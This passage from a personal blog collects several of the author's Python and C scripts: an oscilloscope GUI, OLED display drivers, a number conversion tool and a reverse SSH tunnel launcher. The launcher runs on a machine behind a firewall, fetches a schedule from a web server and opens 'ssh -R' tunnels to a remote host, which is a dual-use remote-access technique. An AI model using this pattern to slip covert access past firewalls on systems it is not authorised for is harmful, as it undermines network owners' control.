Information wants to be free...

ADCQ1706 USB Oscilloscope

On a trip to Japan I bought one of these strange USB oscilloscopes. It seems it was designed for use with a Raspberry Pi, but I wanted to use it on a regular Linux desktop PC. Fortunately, the available "client" software for the RPi is written in Python, but it has several limitations. It's all in Japanese and it looks to be based around a web-server capturing still images. However, due to source code availability, I could easily create a new client.

What I present here is a Python PyGame-based solution instead, which has a graphical screen that updates in real time:

Oscilloscope


I have uploaded the code to GitLab and GitHub, but it's also presented here:

#!/usr/bin/python
import serial
import pygame
import time

class Oscilloscope(object):
    def __init__(self, tty_dev='/dev/ttyUSB0', trig_level=2048):
        self._con = serial.Serial(tty_dev, 115200, timeout=2.0)
        self._settings = {
            1 : {'hsync' : 3, 'trig' : trig_level, 'rise' : 1},
            2 : {'hsync' : 3, 'trig' : trig_level, 'rise' : 1}}

    def get_samples(self, channel):
        hsync = str(self._settings[channel]['hsync'])
        trig  = str(self._settings[channel]['trig'])
        rise  = str(self._settings[channel]['rise'])

        self._con.write('ST' + hsync + str(channel) + trig + rise + 'E')
        data = self._con.read(4003)
        if len(data) != 4003:
            return None
        if not (data[0] == 'S') and (data[1] == 'M') and (data[4002] == 'E'):
            return None

        samples = list()
        for i in range(0, 2000):
            samples.append(int((ord(data[i*2+2]) & 0x7F) + (ord(data[i*2+3]) & 0x1F) * 128))
        return samples

    def increase_hsync(self, channel):
        if self._settings[channel]['hsync'] < 6:
            self._settings[channel]['hsync'] += 1

    def decrease_hsync(self, channel):
        if self._settings[channel]['hsync'] > 0:
            self._settings[channel]['hsync'] -= 1

    def get_hsync(self, channel):
        return self._settings[channel]['hsync']

    def toggle_trig_rise(self, channel):
        if self._settings[channel]['rise'] == 1:
            self._settings[channel]['rise'] = 0
        else:
            self._settings[channel]['rise'] = 1

    def increase_trig_level(self, channel):
        if self._settings[channel]['trig'] < 3968:
            self._settings[channel]['trig'] += 256

    def decrease_trig_level(self, channel):
        if self._settings[channel]['trig'] > 128:
            self._settings[channel]['trig'] -= 256

    def get_trig_level(self, channel):
        return self._settings[channel]['trig']

class GUI(object):
    def __init__(self, oscilloscope, scale=1):
        if scale not in [1,2,4]:
            raise Exception("Invalid scale")
        self._scale = scale
        self._osc = oscilloscope
        self._ch_active = {1 : True, 2 : True}
        pygame.init()
        pygame.display.set_caption("Oscilloscope")
        self._screen = pygame.display.set_mode((500 * scale, 512 * scale))
        self._font = pygame.font.Font(pygame.font.get_default_font(), 12 * scale)

    def _toggle_channel(self, channel):
        if self._ch_active[channel] == True:
            self._ch_active[channel] = False
        else:
            self._ch_active[channel] = True 

    def _draw_samples(self, samples, color):
        prev_y = None
        for sample_no, sample in enumerate(samples):
            y = (4096 - sample) / (8 / self._scale)
            x = sample_no / (4 / self._scale)
            if prev_y == None:
                prev_y = y
            pygame.draw.line(self._screen, color, (x, prev_y), (x, y))
            prev_y = y
    
    def _draw_volt_grid(self):
        for pos, volt in [(48,1.5), (715,1), (1381,0.5), (2048,0), (2715,-0.5), (3381,-1), (4048,-1.5)]:
            y = pos / (8 / self._scale)
            pygame.draw.line(self._screen, (128, 128, 128), (0, y), ((500 * self._scale), y))
            text = self._font.render(str(volt) + "V", True, (128, 128, 128))
            if text.get_height() > y:
                self._screen.blit(text, (0, y + (1 * self._scale)))
            else:
                self._screen.blit(text, (0, y - text.get_height() + (1 * self._scale)))

    def _draw_time_grid(self, channel, color):
        hsync = self._osc.get_hsync(channel)
        if hsync == 0:
            time = [0,5,10,15,20,25,30,35,40,45]
            unit = "us"
        elif hsync == 1:
            time = [0,10,20,30,40,50,60,70,80,90]
            unit = "us"
        elif hsync == 2:
            time = [0,50,100,150,200,250,300,350,400,450]
            unit = "us"
        elif hsync == 3:
            time = [0,100,200,300,400,500,600,700,800,900]
            unit = "us"
        elif hsync == 4:
            time = [0,1,2,3,4,5,6,7,8,9]
            unit = "ms"
        elif hsync == 5:
            time = [0,2,4,6,8,10,12,14,16,18]
            unit = "ms"
        elif hsync == 6:
            time = [0,10,20,30,40,50,60,70,80,90]
            unit = "ms"

        for index in range(0, 10):
            x = index * (50 * self._scale)
            if x > 0:
                pygame.draw.line(self._screen, (128, 128, 128), (x, 0), (x, (512 * self._scale)))
            text = self._font.render(str(time[index]) + unit, True, color)
            if channel == 1:
                self._screen.blit(text, (x + (1 * self._scale), 0))
            if channel == 2:
                self._screen.blit(text, (x + (1 * self._scale), (512 * self._scale) - text.get_height()))

    def _draw_trig_line(self, channel, color):
        y = (4096 - self._osc.get_trig_level(channel)) / (8 / self._scale)
        pygame.draw.line(self._screen, color, (0, y), ((500 * self._scale), y))

    def loop(self):
        while True:
            for event in pygame.event.get():
                if event.type == pygame.QUIT:
                    return
                elif event.type == pygame.KEYDOWN:
                    if event.key == pygame.K_ESCAPE or event.key == pygame.K_q:
                        return
                    elif event.key == pygame.K_s:
                        pygame.image.save(self._screen, "oscilloscope.png")
                        print "Screenshot saved to 'oscilloscope.png'."
                    elif event.key == pygame.K_1:
                        self._toggle_channel(1)
                    elif event.key == pygame.K_2:
                        self._toggle_channel(2)
                    elif event.key == pygame.K_3:
                        self._osc.increase_hsync(1)
                    elif event.key == pygame.K_4:
                        self._osc.decrease_hsync(1)
                    elif event.key == pygame.K_5:
                        self._osc.increase_hsync(2)
                    elif event.key == pygame.K_6:
                        self._osc.decrease_hsync(2)
                    elif event.key == pygame.K_7:
                        self._osc.toggle_trig_rise(1)
                    elif event.key == pygame.K_8:
                        self._osc.toggle_trig_rise(2)
                    elif event.key == pygame.K_e:
                        self._osc.increase_trig_level(1)
                    elif event.key == pygame.K_r:
                        self._osc.decrease_trig_level(1)
                    elif event.key == pygame.K_t:
                        self._osc.increase_trig_level(2)
                    elif event.key == pygame.K_y:
                        self._osc.decrease_trig_level(2)

            self._screen.fill((255,255,255))
            self._draw_volt_grid()

            if self._ch_active[1]:
                self._draw_time_grid(1, (255,128,128))
                self._draw_trig_line(1, (255,128,128))
                samples = self._osc.get_samples(1)
                self._draw_samples(samples, (255,0,0))

            if self._ch_active[2]:
                self._draw_time_grid(2, (128,128,255))
                self._draw_trig_line(2, (128,128,255))
                samples = self._osc.get_samples(2)
                self._draw_samples(samples, (0,0,255))

            if (not self._ch_active[1]) and (not self._ch_active[2]):
                time.sleep(0.1) # To avoid 100% CPU usage.

            pygame.display.flip()

if __name__ == "__main__":
    import sys
    import getopt

    def print_usage_and_exit():
        print "Usage: %s [options]" % (sys.argv[0])
        print "Options:"
        print "  -h         Display this help and exit."
        print "  -d DEV     Serial TTY DEV to use instead of /dev/ttyUSB0."
        print "  -s SCALE   Scale of GUI, value 1, 2 or 4."
        print " "
        sys.exit(1)

    def print_keys():
        print "Keys:"
        print "  1 = Toggle channel #1"
        print "  2 = Toggle channel #2"
        print "  3 = Increase time/div for channel #1"
        print "  4 = Decrease time/div for channel #1"
        print "  5 = Increase time/div for channel #2"
        print "  6 = Decrease time/div for channel #2"
        print "  7 = Toggle rise/fall trigging for channel #1"
        print "  8 = Toggle rise/fall trigging for channel #2"
        print "  E = Increase trig level for channel #1"
        print "  R = Decrease trig level for channel #1"
        print "  T = Increase trig level for channel #2"
        print "  Y = Decrease trig level for channel #2"
        print "  S = Screenshot"
        print "  Q = Quit"

    try:
        opts, args = getopt.getopt(sys.argv[1:], "hd:s:")
    except getopt.GetoptError as err:
        print "Error:", str(err)
        print_usage_and_exit()

    tty_dev = None
    scale = None
    for o, a in opts:
        if o == '-h':
            print_usage_and_exit()
        elif o == '-d':
            tty_dev = a
        elif o == '-s':
            scale = int(a)

    if tty_dev:
        osc = Oscilloscope(tty_dev)
    else:
        osc = Oscilloscope()

    if scale:
        gui = GUI(osc, scale)
    else:
        gui = GUI(osc)

    print_keys()
    gui.loop()
          


Topic: Scripts and Code, by Kjetil @ 01/11-2019, Article Link

SSD1306 Wi-Fi Status

Here is another use of the SSD1306 miniature OLED display. Instead of loading an image like my previous project, this code contains character data and can display text. I have combined this with some simple hacks to retrieve and display Wi-Fi status information from the host. This is also meant to be connected to a Raspberry Pi 3.

Take a look:

#!/usr/bin/python
import smbus
import subprocess
import re
import time

chardata = dict()
chardata['@'] = "\x3c\x66\x6e\x6e\x60\x62\x3c\x00"
chardata['A'] = "\x18\x3c\x66\x7e\x66\x66\x66\x00"
chardata['B'] = "\x7c\x66\x66\x7c\x66\x66\x7c\x00"
chardata['C'] = "\x3c\x66\x60\x60\x60\x66\x3c\x00"
chardata['D'] = "\x78\x6c\x66\x66\x66\x6c\x78\x00"
chardata['E'] = "\x7e\x60\x60\x78\x60\x60\x7e\x00"
chardata['F'] = "\x7e\x60\x60\x78\x60\x60\x60\x00"
chardata['G'] = "\x3c\x66\x60\x6e\x66\x66\x3c\x00"
chardata['H'] = "\x66\x66\x66\x7e\x66\x66\x66\x00"
chardata['I'] = "\x3c\x18\x18\x18\x18\x18\x3c\x00"
chardata['J'] = "\x1e\x0c\x0c\x0c\x0c\x6c\x38\x00"
chardata['K'] = "\x66\x6c\x78\x70\x78\x6c\x66\x00"
chardata['L'] = "\x60\x60\x60\x60\x60\x60\x7e\x00"
chardata['M'] = "\x63\x77\x7f\x6b\x63\x63\x63\x00"
chardata['N'] = "\x66\x76\x7e\x7e\x6e\x66\x66\x00"
chardata['O'] = "\x3c\x66\x66\x66\x66\x66\x3c\x00"
chardata['P'] = "\x7c\x66\x66\x7c\x60\x60\x60\x00"
chardata['Q'] = "\x3c\x66\x66\x66\x66\x3c\x0e\x00"
chardata['R'] = "\x7c\x66\x66\x7c\x78\x6c\x66\x00"
chardata['S'] = "\x3c\x66\x60\x3c\x06\x66\x3c\x00"
chardata['T'] = "\x7e\x18\x18\x18\x18\x18\x18\x00"
chardata['U'] = "\x66\x66\x66\x66\x66\x66\x3c\x00"
chardata['V'] = "\x66\x66\x66\x66\x66\x3c\x18\x00"
chardata['W'] = "\x63\x63\x63\x6b\x7f\x77\x63\x00"
chardata['X'] = "\x66\x66\x3c\x18\x3c\x66\x66\x00"
chardata['Y'] = "\x66\x66\x66\x3c\x18\x18\x18\x00"
chardata['Z'] = "\x7e\x06\x0c\x18\x30\x60\x7e\x00"
chardata['['] = "\x3c\x30\x30\x30\x30\x30\x3c\x00"
chardata[']'] = "\x3c\x0c\x0c\x0c\x0c\x0c\x3c\x00"
chardata[' '] = "\x00\x00\x00\x00\x00\x00\x00\x00"
chardata['!'] = "\x18\x18\x18\x18\x00\x00\x18\x00"
chardata['"'] = "\x66\x66\x66\x00\x00\x00\x00\x00"
chardata['#'] = "\x66\x66\xff\x66\xff\x66\x66\x00"
chardata['$'] = "\x18\x3e\x60\x3c\x06\x7c\x18\x00"
chardata['%'] = "\x62\x66\x0c\x18\x30\x66\x46\x00"
chardata['&'] = "\x3c\x66\x3c\x38\x67\x66\x3f\x00"
chardata['\''] = "\x06\x0c\x18\x00\x00\x00\x00\x00"
chardata['('] = "\x0c\x18\x30\x30\x30\x18\x0c\x00"
chardata[')'] = "\x30\x18\x0c\x0c\x0c\x18\x30\x00"
chardata['*'] = "\x00\x66\x3c\xff\x3c\x66\x00\x00"
chardata['+'] = "\x00\x18\x18\x7e\x18\x18\x00\x00"
chardata[','] = "\x00\x00\x00\x00\x00\x18\x18\x30"
chardata['-'] = "\x00\x00\x00\x7e\x00\x00\x00\x00"
chardata['.'] = "\x00\x00\x00\x00\x00\x18\x18\x00"
chardata['/'] = "\x00\x03\x06\x0c\x18\x30\x60\x00"
chardata['0'] = "\x3c\x66\x6e\x76\x66\x66\x3c\x00"
chardata['1'] = "\x18\x18\x38\x18\x18\x18\x7e\x00"
chardata['2'] = "\x3c\x66\x06\x0c\x30\x60\x7e\x00"
chardata['3'] = "\x3c\x66\x06\x1c\x06\x66\x3c\x00"
chardata['4'] = "\x06\x0e\x1e\x66\x7f\x06\x06\x00"
chardata['5'] = "\x7e\x60\x7c\x06\x06\x66\x3c\x00"
chardata['6'] = "\x3c\x66\x60\x7c\x66\x66\x3c\x00"
chardata['7'] = "\x7e\x66\x0c\x18\x18\x18\x18\x00"
chardata['8'] = "\x3c\x66\x66\x3c\x66\x66\x3c\x00"
chardata['9'] = "\x3c\x66\x66\x3e\x06\x66\x3c\x00"
chardata[':'] = "\x00\x00\x18\x00\x00\x18\x00\x00"
chardata[';'] = "\x00\x00\x18\x00\x00\x18\x18\x30"
chardata['<'] = "\x0e\x18\x30\x60\x30\x18\x0e\x00"
chardata['='] = "\x00\x00\x7e\x00\x7e\x00\x00\x00"
chardata['>'] = "\x70\x18\x0c\x06\x0c\x18\x70\x00"
chardata['?'] = "\x3c\x66\x06\x0c\x18\x00\x18\x00"
chardata['a'] = "\x00\x00\x3c\x06\x3e\x66\x3e\x00"
chardata['b'] = "\x00\x60\x60\x7c\x66\x66\x7c\x00"
chardata['c'] = "\x00\x00\x3c\x60\x60\x60\x3c\x00"
chardata['d'] = "\x00\x06\x06\x3e\x66\x66\x3e\x00"
chardata['e'] = "\x00\x00\x3c\x66\x7e\x60\x3c\x00"
chardata['f'] = "\x00\x0e\x18\x3e\x18\x18\x18\x00"
chardata['g'] = "\x00\x00\x3e\x66\x66\x3e\x06\x7c"
chardata['h'] = "\x00\x60\x60\x7c\x66\x66\x66\x00"
chardata['i'] = "\x00\x18\x00\x38\x18\x18\x3c\x00"
chardata['j'] = "\x00\x06\x00\x06\x06\x06\x06\x3c"
chardata['k'] = "\x00\x60\x60\x6c\x78\x6c\x66\x00"
chardata['l'] = "\x00\x38\x18\x18\x18\x18\x3c\x00"
chardata['m'] = "\x00\x00\x66\x7f\x7f\x6b\x63\x00"
chardata['n'] = "\x00\x00\x7c\x66\x66\x66\x66\x00"
chardata['o'] = "\x00\x00\x3c\x66\x66\x66\x3c\x00"
chardata['p'] = "\x00\x00\x7c\x66\x66\x7c\x60\x60"
chardata['q'] = "\x00\x00\x3e\x66\x66\x3e\x06\x06"
chardata['r'] = "\x00\x00\x7c\x66\x60\x60\x60\x00"
chardata['s'] = "\x00\x00\x3e\x60\x3c\x06\x7c\x00"
chardata['t'] = "\x00\x18\x7e\x18\x18\x18\x0e\x00"
chardata['u'] = "\x00\x00\x66\x66\x66\x66\x3e\x00"
chardata['v'] = "\x00\x00\x66\x66\x66\x3c\x18\x00"
chardata['w'] = "\x00\x00\x63\x6b\x7f\x3e\x36\x00"
chardata['x'] = "\x00\x00\x66\x3c\x18\x3c\x66\x00"
chardata['y'] = "\x00\x00\x66\x66\x66\x3e\x0c\x78"
chardata['z'] = "\x00\x00\x7e\x0c\x18\x30\x7e\x00"

class SSD1306(object):
    def __init__(self, bus=1, address=0x3c):
        self._address = address
        self._bus = smbus.SMBus(bus)

        self._command(0xae) # Display off.

        self._command(0xa8) # Multiplex ratio...
        self._command(0x3f) # ...63
        self._command(0xd3) # Display offset...
        self._command(0x00) # ...0
        self._command(0x40) # Display start line at 0.
        self._command(0xa1) # Segment Re-map with column 127 mapped to SEG0.
        self._command(0xc8) # Remapped mode, scan from COM[N-1] to COM0.
        self._command(0xda) # COM pins hardware configuration...
        self._command(0x32) # ...Alternative and Left/Right
        self._command(0xa4) # Entire display ON.
        self._command(0xa6) # Inverse display mode.
        self._command(0xd5) # Display clock...
        self._command(0x80) # ...No clock divide ratio and max frequency.
        self._command(0x8d) # Charge pump...
        self._command(0x14) # ...Enabled.
        self._command(0x20) # Memory addressing mode...
        self._command(0x20) # ...Horizontal.

        self._command(0xaf) # Display on.
    
    def _command(self, command_byte):
        self._bus.write_byte_data(self._address, 0x00, command_byte)

    def _data(self, data_byte):
        self._bus.write_byte_data(self._address, 0x40, data_byte)

    def reset_cursor(self):
        self._command(0x21) # Column address...
        self._command(0x00) # ...start at 0...
        self._command(0x7f) # ...end at 127.
        self._command(0x22) # Page address...
        self._command(0x00) # ...start at 0...
        self._command(0x07) # ...end at 7.

    def putc(self, char):
        if char in chardata:
            for column in range(0, 8):
                byte  = ((ord(chardata[char][0]) >> (7 - column)) & 1) << 1
                byte += ((ord(chardata[char][1]) >> (7 - column)) & 1) << 0
                byte += ((ord(chardata[char][2]) >> (7 - column)) & 1) << 3
                byte += ((ord(chardata[char][3]) >> (7 - column)) & 1) << 2
                byte += ((ord(chardata[char][4]) >> (7 - column)) & 1) << 5
                byte += ((ord(chardata[char][5]) >> (7 - column)) & 1) << 4
                byte += ((ord(chardata[char][6]) >> (7 - column)) & 1) << 7
                byte += ((ord(chardata[char][7]) >> (7 - column)) & 1) << 6
                self._data(byte)

    def puts(self, string):
        for char in string:
            self.putc(char)

class WiFiStatus(object):
    def __init__(self, interface):
        self._interface = interface

    def _get_status(self):
        iwconfig = subprocess.check_output("iwconfig %s" % (self._interface), shell=True)
        ifconfig = subprocess.check_output("ifconfig %s" % (self._interface), shell=True)

        match = re.search(r'inet ([^\ ]+?) ', ifconfig, flags=re.MULTILINE)
        if match:
            inet_address = match.group(1)
        else:
            inet_address = ""

        match = re.search(r'RX packets ([^\ ]+?) ', ifconfig, flags=re.MULTILINE)
        if match:
            rx_packets = match.group(1)
        else:
            rx_packets = ""

        match = re.search(r'TX packets ([^\ ]+?) ', ifconfig, flags=re.MULTILINE)
        if match:
            tx_packets = match.group(1)
        else:
            tx_packets = ""

        match = re.search(r'ESSID:"([^"]+?)"', iwconfig, flags=re.MULTILINE)
        if match:
            essid = match.group(1)
        else:
            essid = ""

        match = re.search(r'Link Quality=(\d+/\d+)', iwconfig, flags=re.MULTILINE)
        if match:
            link_quality = match.group(1)
        else:
            link_quality = ""

        match = re.search(r'Signal level=(-\d+ dBm)', iwconfig, flags=re.MULTILINE)
        if match:
            signal_level = match.group(1)
        else:
            signal_level = ""

        match = re.search(r'Bit Rate=([\.\d]+ Mb/s)', iwconfig, flags=re.MULTILINE)
        if match:
            bit_rate = match.group(1)
        else:
            bit_rate = ""

        match = re.search(r'Tx-Power=(\d+ dBm)', iwconfig, flags=re.MULTILINE)
        if match:
            tx_power = match.group(1)
        else:
            tx_power = ""

        return (inet_address, rx_packets, tx_packets, essid, link_quality, signal_level, bit_rate, tx_power)

    def loop(self):
        display = SSD1306()

        while True:
            (ia, rx, tx, si, lq, sl, br, tp) = self._get_status()
            display.reset_cursor()
            display.puts((si + "                ")[:16])
            display.puts((ia + "                ")[:16])
            display.puts(("Link: " + lq + "          ")[:16])
            display.puts(("Sig: " + sl + "           ")[:16])
            display.puts(("Rate: " + br + "          ")[:16])
            display.puts(("Pow: " + tp + "           ")[:16])
            display.puts(("Rx: " + rx + "            ")[:16])
            display.puts(("Tx: " + tx + "            ")[:16])
            time.sleep(3)

if __name__ == "__main__":
    import sys

    if len(sys.argv) < 2:
        print "Usage: %s <interface>" % (sys.argv[0])
        sys.exit(1)

    ws = WiFiStatus(sys.argv[1])
    ws.loop()
          


Topic: Scripts and Code, by Kjetil @ 05/10-2019, Article Link

SSD1306 PBM Viewer

I recently bought a SSD1306 miniature OLED display. This communicates through I2C and can be connected to various boards, like the Raspberry Pi 3 which I have used.

As an initial experiment, I have made a Python script that will load a 2-color PBM image file and display it on the OLED. The image has to be in binary (P4) format and exactly 128x64 which is the same as the resolution. I have re-used the same initialization commands as mentioned here to get up and running quickly.

Enjoy:

#!/usr/bin/python
import smbus

class SSD1306(object):
    def __init__(self, bus=1, address=0x3c):
        self._address = address
        self._bus = smbus.SMBus(bus)

        self._command(0xae) # Display off.

        self._command(0xa8) # Multiplex ratio...
        self._command(0x3f) # ...63
        self._command(0xd3) # Display offset...
        self._command(0x00) # ...0
        self._command(0x40) # Display start line at 0.
        self._command(0xa1) # Segment Re-map with column 127 mapped to SEG0.
        self._command(0xc8) # Remapped mode, scan from COM[N-1] to COM0.
        self._command(0xda) # COM pins hardware configuration...
        self._command(0x32) # ...Alternative and Left/Right
        self._command(0xa4) # Entire display ON.
        self._command(0xa6) # Inverse display mode.
        self._command(0xd5) # Display clock...
        self._command(0x80) # ...No clock divide ratio and max frequency.
        self._command(0x8d) # Charge pump...
        self._command(0x14) # ...Enabled.
        self._command(0x20) # Memory addressing mode...
        self._command(0x20) # ...Horizontal.

        self._command(0xaf) # Display on.
    
    def _command(self, command_byte):
        self._bus.write_byte_data(self._address, 0x00, command_byte)

    def _data(self, data_byte):
        self._bus.write_byte_data(self._address, 0x40, data_byte)

    def reset_cursor(self):
        self._command(0x21) # Column address...
        self._command(0x00) # ...start at 0...
        self._command(0x7f) # ...end at 127.
        self._command(0x22) # Page address...
        self._command(0x00) # ...start at 0...
        self._command(0x07) # ...end at 7.

    def pbm(self, filename):
        fh = open(filename, "r")
        if not fh.readline().startswith("P4"):
            raise Exception("Not a binary PBM image!")
        header = fh.readline()
        while header.startswith("#"):
            header = fh.readline() # Ignore comments.
        if not header.startswith("128 64"):
            raise Exception("Dimensions must be 128x64!")
        data = fh.read()
        fh.close()

        if len(data) != 1024:
            raise Exception("Size of data is not 1024 bytes!")

        self.reset_cursor()
        for row_offset in [0, 128, 256, 384, 512, 640, 768, 896]:
            for column in range(0, 128):
                byte  = ((ord(data[row_offset + (column / 8)      ]) >> (7 - (column % 8))) & 1) << 1
                byte += ((ord(data[row_offset + (column / 8) + 16 ]) >> (7 - (column % 8))) & 1) << 0
                byte += ((ord(data[row_offset + (column / 8) + 32 ]) >> (7 - (column % 8))) & 1) << 3
                byte += ((ord(data[row_offset + (column / 8) + 48 ]) >> (7 - (column % 8))) & 1) << 2
                byte += ((ord(data[row_offset + (column / 8) + 64 ]) >> (7 - (column % 8))) & 1) << 5
                byte += ((ord(data[row_offset + (column / 8) + 80 ]) >> (7 - (column % 8))) & 1) << 4
                byte += ((ord(data[row_offset + (column / 8) + 96 ]) >> (7 - (column % 8))) & 1) << 7
                byte += ((ord(data[row_offset + (column / 8) + 112]) >> (7 - (column % 8))) & 1) << 6
                self._data(byte ^ 0xff)

if __name__ == "__main__":
    import sys

    if len(sys.argv) < 2:
        print "Usage: %s <128x64 binary PBM image>" % (sys.argv[0])
        sys.exit(1)

    display = SSD1306()
    display.pbm(sys.argv[1])
          


And here is how it looks with an image loaded:

SSD1306 in action.


Topic: Scripts and Code, by Kjetil @ 21/07-2019, Article Link

64-Bit Number Conversion Tool

Around 10 years ago I posted about a number conversion tool. Several improvements have made it into the tool in those years, so it's time for an update. The most notable change is the support for 64-bit resolution on the numbers (also when compiled on 32-bit systems). In addition there is support for more operators like and (&), or (|), multiplication (*), division (/) and modulus (%).

Here is the updated code:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <limits.h> /* __WORDSIZE */

static uint64_t power_of_two(uint64_t n)
{
  if (n == 0)
    return 1;
  else
    return 2 * power_of_two(n - 1);
}

static char *convert_to_bin(uint64_t integer)
{
  static char buffer[65]; /* Should not be longer than 64-bits + NULL. */
  int i, first_one;

  buffer[64] = '\0'; /* Always terminate. */

  first_one = 63;
  for (i = 63; i >= 0; i--) {
    if (integer >= power_of_two(i)) {
      buffer[63 - i] = '1';
      if (first_one > (63 - i))
      {
        first_one = (63 - i);
      }
      integer -= power_of_two(i);
    } else {
      buffer[63 - i] = '0';
    }
  }

  return &buffer[first_one];
}

static uint64_t convert_from_bin(char *number)
{
  uint64_t value;
  int n;
  char *p;

  value = 0; 
  n = strlen(number) - 3; /* Also minus "0b". */
  p = &number[2];
  do {
    if (*p == '0') {
      n--;
    } else if (*p == '1') {
      value += power_of_two(n);
      n--;
    }
  } while (*p++ != '\0');

  return value;
}

static uint64_t convert_to_int(char *number)
{
  uint64_t integer;

  if (strncmp(number, "0x", 2) == 0) {
    integer = strtoull(number, NULL, 16);
  } else if (strncmp(number, "0b", 2) == 0) { 
    integer = convert_from_bin(number);
  } else if (strncmp(number, "-", 1) == 0) {
    integer = atoll(number); /* Handle signed integers. */
  } else {
    integer = strtoull(number, NULL, 10);
  }
  
  return integer;
}

static uint64_t biggest_int(uint64_t n1, uint64_t n2, uint64_t n3)
{
  /* NOTE: Does not handle signed integers, so padding will be off. */
  if (n1 > n2 && n1 > n3) {
    return n1;
  } else if (n2 > n3) {
    return n2;
  } else {
    return n3;
  }
}

static void display_int(uint64_t integer, char *prefix, uint64_t biggest)
{
  int pad;

  if (prefix != NULL)
  {
    printf("%s", prefix);
  }

#if (__WORDSIZE == 64)
  pad = snprintf(NULL, 0, "%ld", biggest)
      - snprintf(NULL, 0, "%ld", integer);
#else /* __WORDSIZE == 32 */
  pad = snprintf(NULL, 0, "%lld", biggest)
      - snprintf(NULL, 0, "%lld", integer);
#endif /* __WORDSIZE */
  while (pad-- > 0) {
    printf(" ");
  }

#if (__WORDSIZE == 64)
  printf("%ld ", integer);
#else /* __WORDSIZE == 32 */
  printf("%lld ", integer);
#endif /* __WORDSIZE */

  printf("0x");
#if (__WORDSIZE == 64)
  pad = snprintf(NULL, 0, "%lx", biggest)
      - snprintf(NULL, 0, "%lx", integer);
#else /* __WORDSIZE == 32 */
  pad = snprintf(NULL, 0, "%llx", biggest)
      - snprintf(NULL, 0, "%llx", integer);
#endif /* __WORDSIZE */
  while (pad-- > 0) {
    printf("0");
  }

#if (__WORDSIZE == 64)
  printf("%lx ", integer);
#else /* __WORDSIZE == 32 */
  printf("%llx ", integer);
#endif /* __WORDSIZE */

  printf("0b");
  pad = strlen(convert_to_bin(biggest))
      - strlen(convert_to_bin(integer));
  while (pad-- > 0) {
    printf("0");
  }

  printf("%s\n", convert_to_bin(integer));
}

int main(int argc, char *argv[])
{
  uint64_t n1, n2, result, biggest;
  char *prefix;

  if (argc == 2) { /* Just display the number in different forms. */
    n1 = convert_to_int(argv[1]);
    display_int(n1, NULL, n1);

  } else if (argc == 4) { /* Perform extra operation. */
    n1 = convert_to_int(argv[1]);
    n2 = convert_to_int(argv[3]);
    if (argv[2][0] == '+') {
      result = n1 + n2;
      prefix = " + ";
    } else if (argv[2][0] == '-') {
      result = n1 - n2;
      prefix = " - ";
    } else if (argv[2][0] == '^') {
      result = n1 ^ n2;
      prefix = " ^ ";
    } else if (argv[2][0] == '&') {
      result = n1 & n2;
      prefix = " & ";
    } else if (argv[2][0] == '|') {
      result = n1 | n2;
      prefix = " | ";
    } else if (argv[2][0] == '*') {
      result = n1 * n2;
      prefix = " * ";
    } else if (argv[2][0] == '/') {
      result = n1 / n2;
      prefix = " / ";
    } else if (argv[2][0] == '%') {
      result = n1 % n2;
      prefix = " % ";
    } else {
      fprintf(stderr, "%s: error: invalid operator.\n", argv[0]);
      return -1;
    }
    biggest = biggest_int(n1, n2, result);
    display_int(n1, "   ", biggest);
    display_int(n2, prefix, biggest);
    display_int(result, " = ", biggest);

  } else {
    fprintf(stderr, "Usage: %s <number> [<operator> <number>]\n", argv[0]);
    fprintf(stderr, "  number can be integer decimal, hex (0x) or binary (0b)\n");
    fprintf(stderr, "  valid operators: + - ^ & | * / %%\n");
    return -1;
  }
   
  return 0;
}
          


Topic: Scripts and Code, by Kjetil @ 09/03-2019, Article Link

Reverse SSH Tunnel Launcher

Here is a script which helps with starting a reverse SSH tunnel. It gets the instructions from a web server, in the form of a JSON file, which determines at what time to open the tunnel(s). The JSON file also determines when to check for a JSON file next time. It operates on a daily schedule and uses the HH:MM format.

The idea is to leave this script running on a box behind a firewall. It is hardcoded to only keep the tunnel open for 5 minutes before closing it again. So to get a connection that lasts longer, a new tunnel probably has to be made manually after connecting.

The Python code:

#!/usr/bin/python

import urllib2
import json
import subprocess
import signal
import datetime
import time
import logging
import sys

config_url = "http://192.168.0.1/config.json"
ssh_host = "192.168.0.1"
ssh_port = 22
local_port = 1337
tunnel_open_time = 300 # In seconds.

tunnel = None

def alarm_handler(signum, frame):
    global tunnel
    logger.info("Terminating current tunnel.")
    tunnel.kill();
    tunnel = None

def minutes_until(minute_ts):
    if minute_ts == None:
        return (24 * 60)

    now = datetime.datetime.now().timetuple()
    now_ts = (now.tm_hour * 60) + now.tm_min

    if now_ts > minute_ts:
        # Already passed, will be next day.
        return minute_ts - now_ts + (24 * 60)
    else:
        return minute_ts - now_ts

def update_config():
    try:
        config = json.load(urllib2.urlopen(config_url))

        # Pick closest time to update next time:
        closest_config_ts = None
        for uc in config["ConfigUpdate"]:
            config_ts = (int(uc.split(":")[0]) * 60) + int(uc.split(":")[1])
            if minutes_until(config_ts) < minutes_until(closest_config_ts):
                closest_config_ts = config_ts

        tunnel_ts = list()
        for to in config["TunnelOpen"]:
            tunnel_ts.append((int(to.split(":")[0]) * 60) + int(to.split(":")[1]))

        logger.debug("Config timestamp: %d" % (closest_config_ts))
        logger.debug("Tunnel timestamps: %s" % (str(tunnel_ts)))

        return closest_config_ts, tunnel_ts

    except Exception, e:
        logger.error("Exception during config update: %s" % (e))
        return 0, []

if __name__ == "__main__":
    logger = logging.getLogger('reverse_tunnel')
    logger.setLevel(logging.DEBUG)
    logger.addHandler(logging.StreamHandler())

    # Get initial configuration:
    config_ts, tunnel_ts = update_config()
    if len(tunnel_ts) == 0:
        sys.exit(1) # Exit right away if initial configuration fails.

    signal.signal(signal.SIGALRM, alarm_handler)

    while True:
        now = datetime.datetime.now().timetuple()
        now_ts = (now.tm_hour * 60) + now.tm_min

        # Is it time for a config update?
        if now_ts == config_ts:
            logger.info("Timed config update.")
            config_ts, tunnel_ts = update_config()
            if config_ts == now_ts:
                config_ts = config_ts - 2 # Prevent immediate update.

        # Is it time to open a new tunnel?
        for ts in tunnel_ts:
            if now_ts == ts:
                if tunnel == None:
                    logger.info("Opening new tunnel.")
                    tunnel = subprocess.Popen(["ssh", "-R", str(local_port) + ":localhost:22", "-N", "-p", str(ssh_port), ssh_host])
                    signal.alarm(tunnel_open_time)
                else:
                    logger.warning("Tunnel already running.")

        time.sleep(10)
          


Example JSON file:

{
  "ConfigUpdate" : ["17:00"],
  "TunnelOpen" : ["18:00","19:00","20:00"]
}
          


Topic: Scripts and Code, by Kjetil @ 29/09-2018, Article Link

DOS Serial File Transfer

